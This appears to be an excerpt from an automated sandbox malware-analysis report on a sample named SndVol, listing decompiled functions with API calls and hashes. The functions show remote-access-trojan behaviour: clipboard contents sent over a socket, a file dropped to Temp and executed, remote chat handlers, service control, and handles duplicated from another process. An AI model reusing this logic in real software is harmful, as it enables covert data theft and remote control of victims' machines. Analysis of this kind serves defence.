                                    Function 0043A78A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0043A78A(void* __edx, void* __eflags, char* _a4, int _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* __ebx;
				char* _t31;
				int _t35;
				int _t43;
				void* _t51;
				int _t52;
				int _t54;
				void* _t56;
				void* _t63;
				short* _t64;
				short* _t67;

				_t62 = __edx;
				E0043A707(_t51,  &_v28, __edx, _a24);
				_t52 = 0;
				_t54 =  *(_v24 + 0x14);
				_t31 = _a4;
				_v8 = _t54;
				if(_t31 == 0) {
					L4:
					 *((intOrPtr*)(E0044052D())) = 0x16;
					E0043BC3C();
					L18:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return _t52;
				}
				_t66 = _a8;
				if(_a8 == 0) {
					goto L4;
				}
				 *_t31 = 0;
				if(_a12 == 0 || _a16 == 0) {
					goto L4;
				} else {
					_t35 = MultiByteToWideChar(_t54, 0, _a12, 0xffffffff, 0, 0);
					_v12 = _t35;
					if(_t35 != 0) {
						_t64 = E00446087(_t54, _t35 + _t35);
						_t56 = _t63;
						if(_t64 != 0) {
							if(MultiByteToWideChar(_v8, 0, _a12, 0xffffffff, _t64, _v12) != 0) {
								_t67 = E00446087(_t56, _t66 + _t66);
								if(_t67 != 0) {
									_t43 = E004478B0(0, _t62, _t67, _a8, _t64, _a16, _a20, _a24);
									_v12 = _t43;
									if(_t43 != 0) {
										if(WideCharToMultiByte(_v8, 0, _t67, 0xffffffff, _a4, _a8, 0, 0) != 0) {
											_t52 = _v12;
										} else {
											E004404F7(GetLastError());
										}
									}
								}
								E00446652(_t67);
							} else {
								E004404F7(GetLastError());
							}
						}
						E00446652(_t64);
					} else {
						E004404F7(GetLastError());
					}
					goto L18;
				}
			}



















                                    0x0043a78a
                                    0x0043a79a
                                    0x0043a7a2
                                    0x0043a7a4
                                    0x0043a7a7
                                    0x0043a7aa
                                    0x0043a7af
                                    0x0043a7c4
                                    0x0043a7c9
                                    0x0043a7cf
                                    0x0043a8a1
                                    0x0043a8a5
                                    0x0043a8aa
                                    0x0043a8aa
                                    0x0043a8b8
                                    0x0043a8b8
                                    0x0043a7b1
                                    0x0043a7b6
                                    0x00000000
                                    0x00000000
                                    0x0043a7b8
                                    0x0043a7bd
                                    0x00000000
                                    0x0043a7d9
                                    0x0043a7e2
                                    0x0043a7e8
                                    0x0043a7ed
                                    0x0043a80a
                                    0x0043a80c
                                    0x0043a80f
                                    0x0043a82a
                                    0x0043a843
                                    0x0043a848
                                    0x0043a858
                                    0x0043a860
                                    0x0043a865
                                    0x0043a87e
                                    0x0043a88f
                                    0x0043a880
                                    0x0043a887
                                    0x0043a88c
                                    0x0043a87e
                                    0x0043a865
                                    0x0043a893
                                    0x0043a82c
                                    0x0043a833
                                    0x0043a833
                                    0x0043a898
                                    0x0043a89a
                                    0x0043a7ef
                                    0x0043a7f6
                                    0x0043a7fb
                                    0x00000000
                                    0x0043a7ed

                                    APIs
                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A7E2
                                    • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A7EF
                                    • __dosmaperr.LIBCMT ref: 0043A7F6
                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A822
                                    • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A82C
                                    • __dosmaperr.LIBCMT ref: 0043A833
                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A876
                                    • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A880
                                    • __dosmaperr.LIBCMT ref: 0043A887
                                    • _free.LIBCMT ref: 0043A893
                                    • _free.LIBCMT ref: 0043A89A
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                    • String ID:
                                    • API String ID: 2441525078-0
                                    • Opcode ID: 39a0d242431ef486be92fbed9a0e27cc0c46707c2b1528dab1cd8eddccdffa89
                                    • Instruction ID: 1ffeb2e5ba8ce9eb1cbb5ac0e3d16346e02f4400436b239f59047acb4ac94187
                                    • Opcode Fuzzy Hash: 39a0d242431ef486be92fbed9a0e27cc0c46707c2b1528dab1cd8eddccdffa89
                                    • Instruction Fuzzy Hash: 1431A07180020ABBDF15AFA5CC45CAF3B78EF09324F10416AF950562A1DB39CD21DB6A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 76%
                                    			E004054A0(char* __edx, void* __eflags, intOrPtr _a4) {
				struct tagMSG _v52;
				void* _v56;
				char _v60;
				char _v76;
				char _v80;
				char _v84;
				char _v104;
				char _v108;
				void* _v112;
				char _v116;
				char _v120;
				char _v140;
				void* _v176;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t28;
				char* _t36;
				intOrPtr _t45;
				intOrPtr _t46;
				void* _t57;
				intOrPtr _t69;
				void* _t111;
				void* _t113;
				void* _t115;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t126 = __eflags;
				_t101 = __edx;
				_t69 = _a4;
				E004020F6(_t69,  &_v104, __edx, __eflags, _t69 + 0xc);
				SetEvent( *(_t69 + 0x24));
				_t28 = E00401FAB( &_v108);
				E004041A2( &_v108,  &_v60, 4, 0xffffffff);
				_t121 = (_t118 & 0xfffffff8) - 0x5c;
				E004020F6(_t69, _t121, _t101, _t126, 0x474ee0);
				_t122 = _t121 - 0x18;
				E004020F6(_t69, _t122, _t101, _t126,  &_v76);
				E0041BD6D( &_v140, _t101);
				_t123 = _t122 + 0x30;
				_t111 =  *_t28 - 0x3a;
				if(_t111 == 0) {
					E00401E65( &_v116, _t101, _t117, __eflags, 0);
					_t36 = E0040247C();
					E00401FAB(E00401E65( &_v120, _t101, _t117, __eflags, 0));
					_t101 = _t36;
					_t113 = E00411C40();
					__eflags = _t113;
					if(_t113 == 0) {
						L7:
						E00401E8D( &_v116, _t101);
						E00401FD8();
						E00401FD8();
						__eflags = 0;
						return 0;
					}
					 *0x472af0 = E00411EB5(_t113, "DisplayMessage");
					_t45 = E00411EB5(_t113, "GetMessage");
					_t104 = "CloseChat";
					 *0x472ae8 = _t45;
					_t46 = E00411EB5(_t113, "CloseChat");
					_t124 = _t123 - 0x18;
					 *0x472aec = _t46;
					 *0x472ae5 = 1;
					E004020F6(_t69, _t124, "CloseChat", __eflags, 0x474f78);
					_push(0x74);
					E00404AA1(_t69, _t104, __eflags);
					L10:
					_t115 = HeapCreate(0, 0, 0);
					__eflags =  *0x472ae8(_t115,  &_v140);
					if(__eflags != 0) {
						_t124 = _t124 - 0x18;
						E004020B7(_t69, _t124, _t104, _t117, __eflags, _v140, _t51);
						_push(0x3b);
						E00404AA1(_t69, _t104, __eflags);
						HeapFree(_t115, 0, _v176);
					}
					goto L10;
				}
				_t128 = _t111 != 1;
				if(_t111 != 1) {
					goto L7;
				}
				_t57 =  *0x472af0(E00401FAB(E00401E65( &_v116, _t101, _t117, _t128, 0)));
				_t129 = _t57;
				if(_t57 == 0) {
					goto L7;
				}
				E0040417E(_t69,  &_v80, _t101, _t117, 0x4660a0);
				_t101 =  &_v84;
				E0041BC70(_t69, _t123 - 0x18,  &_v84);
				_push(0x3b);
				E00404AA1(_t69,  &_v84, _t129);
				E00401F09();
				L4:
				while(GetMessageA( &_v52, 0, 0, 0) > 0) {
					TranslateMessage( &_v52);
					DispatchMessageA( &_v52);
				}
				if(__eflags < 0) {
					goto L4;
				}
				goto L7;
			}

































                                    0x004054a0
                                    0x004054a0
                                    0x004054ae
                                    0x004054b7
                                    0x004054bf
                                    0x004054c9
                                    0x004054dd
                                    0x004054e2
                                    0x004054ec
                                    0x004054f1
                                    0x004054fb
                                    0x00405504
                                    0x00405509
                                    0x0040550c
                                    0x0040550f
                                    0x004055be
                                    0x004055c5
                                    0x004055d8
                                    0x004055dd
                                    0x004055e6
                                    0x004055e8
                                    0x004055ea
                                    0x00405593
                                    0x00405597
                                    0x004055a0
                                    0x004055a9
                                    0x004055b0
                                    0x004055b6
                                    0x004055b6
                                    0x004055fd
                                    0x00405604
                                    0x00405609
                                    0x0040560e
                                    0x00405615
                                    0x0040561a
                                    0x0040561d
                                    0x00405624
                                    0x00405630
                                    0x00405635
                                    0x00405639
                                    0x0040563e
                                    0x00405647
                                    0x00405657
                                    0x00405659
                                    0x0040565b
                                    0x00405665
                                    0x0040566a
                                    0x0040566e
                                    0x00405679
                                    0x00405679
                                    0x00000000
                                    0x00405659
                                    0x00405515
                                    0x00405518
                                    0x00000000
                                    0x00000000
                                    0x0040552e
                                    0x00405535
                                    0x00405537
                                    0x00000000
                                    0x00000000
                                    0x00405542
                                    0x0040554a
                                    0x00405550
                                    0x00405555
                                    0x00405559
                                    0x00405562
                                    0x00000000
                                    0x00405567
                                    0x0040557e
                                    0x00405589
                                    0x00405589
                                    0x00405591
                                    0x00000000
                                    0x00000000
                                    0x00000000

                                    APIs
                                    • SetEvent.KERNEL32(?,?), ref: 004054BF
                                    • GetMessageA.USER32 ref: 0040556F
                                    • TranslateMessage.USER32(?), ref: 0040557E
                                    • DispatchMessageA.USER32 ref: 00405589
                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                    • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 00405679
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                    • String ID: CloseChat$DisplayMessage$GetMessage
                                    • API String ID: 2956720200-749203953
                                    • Opcode ID: 384b5139f1d8ce3a3b7650780237ce135f7b804587ae0bf32341a2351e0dca7b
                                    • Instruction ID: 6a3de2c7ba57d4d4f675c1a2a9cb013a7c79d2b45732f64ae51ec56f59eee4c0
                                    • Opcode Fuzzy Hash: 384b5139f1d8ce3a3b7650780237ce135f7b804587ae0bf32341a2351e0dca7b
                                    • Instruction Fuzzy Hash: A341B271604301ABCB14FB75DC5A86F37A9AB85744F40093EF916A36E1EF3C8905CB9A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00417C31 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 73%
                                    			E00417C31(void* __edx, void* __eflags, char _a4, char _a28) {
				char _v28;
				struct _SHELLEXECUTEINFOA _v88;
				char _v112;
				char _v136;
				char _v316;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t33;
				void* _t41;
				intOrPtr _t50;
				signed int _t60;
				char* _t68;
				void* _t73;
				void* _t90;
				void* _t91;

				_t94 = __eflags;
				_t33 = E00402093(_t60,  &_v136, __edx, _t90, 0x4660bc);
				_t87 = E004052FD(_t60,  &_v112, E0043C02A(_t60, __eflags, "Temp"), _t90, _t94, _t33);
				E00402F10(_t60,  &_v28, _t35, _t90, _t94,  &_a4);
				E00401FD8();
				_t68 =  &_v136;
				E00401FD8();
				_push(_t68);
				_push(_t68);
				_t41 = E00417E6E(E0040FB01( &_v316, _t35, _t94, E00401FAB( &_v28), 0x10),  &_v316);
				_t95 = _t41;
				if(_t41 == 0) {
					E00402093(_t60, _t91 - 0x18, _t87, _t90, 0x4660a4);
					_push(0x6f);
					_t73 = 0x475630;
					goto L6;
				} else {
					_t87 =  &_a28;
					E00417E7E( &_v316,  &_a28, _t95);
					E0040FAB2( &_v316,  &_a28, _t95);
					_v88.hwnd = _v88.hwnd & 0x00000000;
					_v88.lpVerb = _v88.lpVerb & 0x00000000;
					_v88.cbSize = 0x3c;
					_v88.fMask = 0x40;
					_t50 = E00401FAB( &_v28);
					asm("movaps xmm0, [0x46d280]");
					_v88.lpFile = _t50;
					asm("movups [ebp-0x40], xmm0");
					_t60 = _t60 & 0xffffff00 | ShellExecuteExA( &_v88) != 0x00000000;
					_t97 = _v88.hProcess;
					if(_v88.hProcess != 0) {
						E00402093(_t60, _t91,  &_a28, _t90, 0x4660a4);
						_push(0x70);
						E00404AA1(0x475630, _t87, _t97);
						WaitForSingleObject(_v88.hProcess, 0xffffffff);
						CloseHandle(_v88.hProcess);
						DeleteFileA(E00401FAB( &_v28));
					}
					_t98 = _t60 - 1;
					if(_t60 == 1) {
						E00402093(_t60, _t91 - 0x18, _t87, _t90, 0x4660a4);
						_push(0x6e);
						_t73 = 0x475630;
						L6:
						E00404AA1(_t73, _t87, _t98);
					}
				}
				E0040F2FE(_t60,  &_v316, 0x4660a4);
				E00401FD8();
				E00401FD8();
				return E00401FD8();
			}



















                                    0x00417c31
                                    0x00417c4c
                                    0x00417c68
                                    0x00417c6d
                                    0x00417c76
                                    0x00417c7b
                                    0x00417c81
                                    0x00417c86
                                    0x00417c87
                                    0x00417ca4
                                    0x00417ca9
                                    0x00417cab
                                    0x00417d6c
                                    0x00417d71
                                    0x00417d73
                                    0x00000000
                                    0x00417cb1
                                    0x00417cb1
                                    0x00417cba
                                    0x00417cc5
                                    0x00417cca
                                    0x00417cd1
                                    0x00417cd5
                                    0x00417cdc
                                    0x00417ce3
                                    0x00417ce8
                                    0x00417cef
                                    0x00417cf6
                                    0x00417d0c
                                    0x00417d0f
                                    0x00417d13
                                    0x00417d1b
                                    0x00417d20
                                    0x00417d24
                                    0x00417d2e
                                    0x00417d37
                                    0x00417d46
                                    0x00417d46
                                    0x00417d4c
                                    0x00417d4f
                                    0x00417d57
                                    0x00417d5c
                                    0x00417d5e
                                    0x00417d78
                                    0x00417d78
                                    0x00417d78
                                    0x00417d4f
                                    0x00417d83
                                    0x00417d8b
                                    0x00417d93
                                    0x00417da6

                                    APIs
                                      • Part of subcall function 00417E7E: __EH_prolog.LIBCMT ref: 00417E83
                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417D2E
                                    • CloseHandle.KERNEL32(00000000), ref: 00417D37
                                    • DeleteFileA.KERNEL32(00000000), ref: 00417D46
                                    • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417CFA
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                    • String ID: 0VG$0VG$<$@$Temp
                                    • API String ID: 1704390241-2575729100
                                    • Opcode ID: 27f79f30db61a193ab600c5ca6ecc1da06f4ff2e60c20f6852067b16ab402508
                                    • Instruction ID: daff5b6f0ef9c3c322fd6a323d7cf17b590dfdd26ddd468e6910b06d441fe3fd
                                    • Opcode Fuzzy Hash: 27f79f30db61a193ab600c5ca6ecc1da06f4ff2e60c20f6852067b16ab402508
                                    • Instruction Fuzzy Hash: 3B416D319002099ACB14FB62DC56AFE7775AF10308F50417EF50A761E2EF7C1A8ACB99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041688E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 48clipboardCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 80%
                                    			E0041688E(void* __ebp, void* _a8, char _a16, char _a24, char _a28, void* _a152, void* _a248) {
				void* __ebx;
				void* _t16;
				struct HWND__* _t23;
				void* _t38;
				void* _t41;

				if(OpenClipboard(_t23) != 0) {
					EmptyClipboard();
					CloseClipboard();
					if(OpenClipboard(_t23) != 0) {
						_t38 = GetClipboardData(0xd);
						_t16 = GlobalLock(_t38);
						GlobalUnlock(_t38);
						CloseClipboard();
						_t29 =  !=  ? _t16 : 0x466468;
						E0040417E(_t23,  &_a28, _t34, __ebp,  !=  ? _t16 : 0x466468);
						_t34 =  &_a24;
						E0041BC70(_t23, _t41 - 0x18,  &_a24);
						_push(0x6b);
						E00404AA1(0x475598,  &_a24, _t16);
						E00401F09();
					}
				}
				_t4 =  &_a16; // 0x404421
				E00401E8D(_t4, _t34);
				E00401FD8();
				E00401FD8();
				return 0;
			}








                                    0x00416897
                                    0x0041689d
                                    0x004168a3
                                    0x004168b2
                                    0x004168c0
                                    0x004168c3
                                    0x004168cc
                                    0x004168d2
                                    0x004168df
                                    0x004168e7
                                    0x004168ef
                                    0x004168f5
                                    0x004168fa
                                    0x00416901
                                    0x00416fd5
                                    0x00416fd5
                                    0x004168b2
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                    • OpenClipboard.USER32 ref: 0041688F
                                    • EmptyClipboard.USER32 ref: 0041689D
                                    • CloseClipboard.USER32 ref: 004168A3
                                    • OpenClipboard.USER32 ref: 004168AA
                                    • GetClipboardData.USER32 ref: 004168BA
                                    • GlobalLock.KERNEL32 ref: 004168C3
                                    • GlobalUnlock.KERNEL32(00000000), ref: 004168CC
                                    • CloseClipboard.USER32 ref: 004168D2
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                    • String ID: !D@
                                    • API String ID: 2172192267-604454484
                                    • Opcode ID: 5a486471c7fb2bec65bfbabc2117862ac1233fcf66e4169a59c4170cab3422d8
                                    • Instruction ID: e7359c618b0be918b9e86d0cecb364e5f540dae3ef422348e817d9a96d2d37de
                                    • Opcode Fuzzy Hash: 5a486471c7fb2bec65bfbabc2117862ac1233fcf66e4169a59c4170cab3422d8
                                    • Instruction Fuzzy Hash: D7011B31204311DFC714AB72EC59AAE77A5AF94746F40047EF906921E2EF38DC49CA59
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413220 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 63%
                                    			E00413220(void* __ebx, intOrPtr __ecx, intOrPtr __edx) {
				void* __edi;
				long _t21;
				intOrPtr* _t23;
				void* _t25;
				long _t28;
				void* _t31;
				void* _t41;
				void* _t53;
				void* _t54;
				void** _t56;
				void* _t57;
				void* _t60;
				void* _t65;
				DWORD* _t72;
				long _t74;
				void* _t76;
				void* _t78;
				intOrPtr* _t80;
				void* _t82;

				_t59 = __ecx;
				_t54 = __ebx;
				 *((intOrPtr*)(_t82 + 0xc)) = __edx;
				 *((intOrPtr*)(_t82 + 8)) = __ecx;
				if( *0x474b28 != 0) {
					_t21 = E004133C0(__ecx);
					if(_t21 != 0) {
						_t76 = OpenProcess(0x440, 0, _t21);
						if(_t76 != 0) {
							_push(0x400);
							 *((intOrPtr*)(_t82 + 0x10)) = 0x400;
							_t23 = E0043BCA1(_t59);
							while(1) {
								_pop(_t60);
								_t80 = _t23;
								_t25 =  *0x474b24(_t76, 0x33, _t80,  *((intOrPtr*)(_t82 + 0x10)), _t82 + 0xc);
								if(_t25 >= 0) {
									break;
								}
								_push(_t80);
								if(_t25 != 0xc0000004) {
									L0043BC9C();
									_t28 = 1;
									L18:
									L19:
									return _t28;
								}
								L0043BC9C();
								_t31 =  *((intOrPtr*)(_t82 + 0x10)) + 0x400;
								_push(_t31);
								 *(_t82 + 0x14) = _t31;
								_t23 = E0043BCA1(_t60);
							}
							_t72 = 0;
							_push(_t54);
							if( *_t80 <= 0) {
								L16:
								L0043BC9C(_t80);
								_t28 = 0xfffffffd;
								L17:
								goto L18;
							}
							_t8 = _t80 + 8; // 0x8
							_t56 = _t8;
							do {
								if(DuplicateHandle(_t76,  *_t56, GetCurrentProcess(), _t82 + 0x20, 0, 0, 2) == 0) {
									goto L15;
								}
								E00436DE0(_t72, _t82 + 0x24, 0, 0x208);
								_t82 = _t82 + 0xc;
								 *0x474b28( *(_t82 + 0x20), _t82 + 0x20, 0x104, 0);
								_t41 = E0043F8A4(_t82 + 0x28,  *((intOrPtr*)(_t82 + 0x1c)), _t82 + 0x28);
								_pop(_t65);
								if(_t41 == 0) {
									_t57 = CreateFileMappingW( *(_t82 + 0x28), 0, 2, 0, 0, 0);
									_t78 = MapViewOfFile(_t57, 4, 0, 0, 0);
									_t74 = GetFileSize( *(_t82 + 0x18), 0);
									_push(_t74);
									 *( *(_t82 + 0x20)) = E0043BCA1(_t65);
									E00436860(_t45, _t78, _t74);
									UnmapViewOfFile(_t78);
									CloseHandle(_t57);
									CloseHandle( *(_t82 + 0x24));
									L0043BC9C(_t80);
									_t28 = _t74;
									goto L17;
								}
								CloseHandle( *(_t82 + 0x14));
								L15:
								_t72 = _t72 + 1;
								_t56 =  &(_t56[7]);
							} while (_t72 <  *_t80);
							goto L16;
						}
						_t28 = 0xfffffffe;
						goto L19;
					}
					return _t21 | 0xffffffff;
				}
				_t53 = 0xfffffffc;
				return _t53;
			}






















                                    0x00413220
                                    0x00413220
                                    0x0041322f
                                    0x00413233
                                    0x00413237
                                    0x00413241
                                    0x00413248
                                    0x00413261
                                    0x00413265
                                    0x00413276
                                    0x00413277
                                    0x0041327b
                                    0x004132a4
                                    0x004132a4
                                    0x004132a5
                                    0x004132b4
                                    0x004132bc
                                    0x00000000
                                    0x00000000
                                    0x00413282
                                    0x00413288
                                    0x0041334e
                                    0x00413356
                                    0x00413344
                                    0x00413346
                                    0x00000000
                                    0x00413346
                                    0x0041328e
                                    0x00413297
                                    0x00413299
                                    0x0041329a
                                    0x0041329e
                                    0x004132a3
                                    0x004132be
                                    0x004132c0
                                    0x004132c4
                                    0x00413339
                                    0x0041333a
                                    0x00413342
                                    0x00413343
                                    0x00000000
                                    0x00413343
                                    0x004132c6
                                    0x004132c6
                                    0x004132c9
                                    0x004132e6
                                    0x00000000
                                    0x00000000
                                    0x004132f4
                                    0x004132f9
                                    0x0041330c
                                    0x0041331b
                                    0x00413321
                                    0x00413324
                                    0x0041336e
                                    0x0041337e
                                    0x00413386
                                    0x00413388
                                    0x00413395
                                    0x00413397
                                    0x004133a0
                                    0x004133ad
                                    0x004133b3
                                    0x004133b6
                                    0x004133bc
                                    0x00000000
                                    0x004133bc
                                    0x0041332a
                                    0x00413330
                                    0x00413330
                                    0x00413331
                                    0x00413334
                                    0x00000000
                                    0x004132c9
                                    0x00413269
                                    0x00000000
                                    0x00413269
                                    0x00000000
                                    0x0041324a
                                    0x0041323b
                                    0x00000000

                                    APIs
                                    • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413365
                                    • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413373
                                    • GetFileSize.KERNEL32(?,00000000), ref: 00413380
                                    • UnmapViewOfFile.KERNEL32(00000000), ref: 004133A0
                                    • CloseHandle.KERNEL32(00000000), ref: 004133AD
                                    • CloseHandle.KERNEL32(?), ref: 004133B3
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                    • String ID:
                                    • API String ID: 297527592-0
                                    • Opcode ID: f30be1fc9d0ff74b94c97feac73956d53edc8ee3fb6788857ee58358dc38872b
                                    • Instruction ID: 962dc6eae6024b8187784047fbf976e4a5cb8f4caac21105d6e5570fe15e945a
                                    • Opcode Fuzzy Hash: f30be1fc9d0ff74b94c97feac73956d53edc8ee3fb6788857ee58358dc38872b
                                    • Instruction Fuzzy Hash: D441E431104305BBE720AF65DC49FAB7BACEF89726F10052EF655D11A1DB38DA40C66E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041AA5F Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E0041AA5F(char _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				int _t22;
				void* _t26;
				void* _t27;

				_t22 = 0;
				_t27 = OpenSCManagerW(0, 0, 0x11);
				_t26 = OpenServiceW(_t27, E00401F04( &_a4), 0xf003f);
				if(_t26 != 0) {
					if(ControlService(_t26, 1,  &_v32) != 0) {
						do {
							QueryServiceStatus(_t26,  &_v32);
						} while (_v28 != 1);
						StartServiceW(_t26, 0, 0);
						asm("sbb ebx, ebx");
						_t22 = 3;
						CloseServiceHandle(_t27);
						CloseServiceHandle(_t26);
					} else {
						CloseServiceHandle(_t27);
						CloseServiceHandle(_t26);
						_t22 = 2;
					}
				} else {
					CloseServiceHandle(_t27);
				}
				E00401F09();
				return _t22;
			}








                                    0x0041aa6a
                                    0x0041aa7c
                                    0x0041aa8b
                                    0x0041aa8f
                                    0x0041aaa9
                                    0x0041aabb
                                    0x0041aac0
                                    0x0041aac6
                                    0x0041aacf
                                    0x0041aade
                                    0x0041aae3
                                    0x0041aae6
                                    0x0041aae9
                                    0x0041aaab
                                    0x0041aab2
                                    0x0041aab5
                                    0x0041aab7
                                    0x0041aab7
                                    0x0041aa91
                                    0x0041aa92
                                    0x0041aa92
                                    0x0041aaee
                                    0x0041aafb

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AA6E
                                    • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AA85
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AA92
                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AAA1
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AAB2
                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A3D8,00000000), ref: 0041AAB5
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ControlManager
                                    • String ID:
                                    • API String ID: 221034970-0
                                    • Opcode ID: a617342fd7d0ab3f36a6b4bf1726268dedbc23e606f349c661561497bbda8e31
                                    • Instruction ID: 8013e9fd6d1d86dca40e635590c34b868680be3bdf56a1033bde0f947f78cdfc
                                    • Opcode Fuzzy Hash: a617342fd7d0ab3f36a6b4bf1726268dedbc23e606f349c661561497bbda8e31
                                    • Instruction Fuzzy Hash: BA112931501218AFCB11AF64DC88CFF3B6CDF45BA2B000026F905921D1DB288C46EABA
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00447FF1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00447FF1(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x45d310) {
					E00446652(_t52);
					_t26 = _a4;
				}
				E00446652( *((intOrPtr*)(_t26 + 0x3c)));
				E00446652( *((intOrPtr*)(_a4 + 0x30)));
				E00446652( *((intOrPtr*)(_a4 + 0x34)));
				E00446652( *((intOrPtr*)(_a4 + 0x38)));
				E00446652( *((intOrPtr*)(_a4 + 0x28)));
				E00446652( *((intOrPtr*)(_a4 + 0x2c)));
				E00446652( *((intOrPtr*)(_a4 + 0x40)));
				E00446652( *((intOrPtr*)(_a4 + 0x44)));
				E00446652( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E00447EB7(5,  &_v8);
				_v8 =  &_a4;
				return E00447F07(4,  &_v8);
			}




                                    0x00447ff7
                                    0x00447ffa
                                    0x00448002
                                    0x00448005
                                    0x0044800a
                                    0x0044800d
                                    0x00448011
                                    0x0044801c
                                    0x00448027
                                    0x00448032
                                    0x0044803d
                                    0x00448048
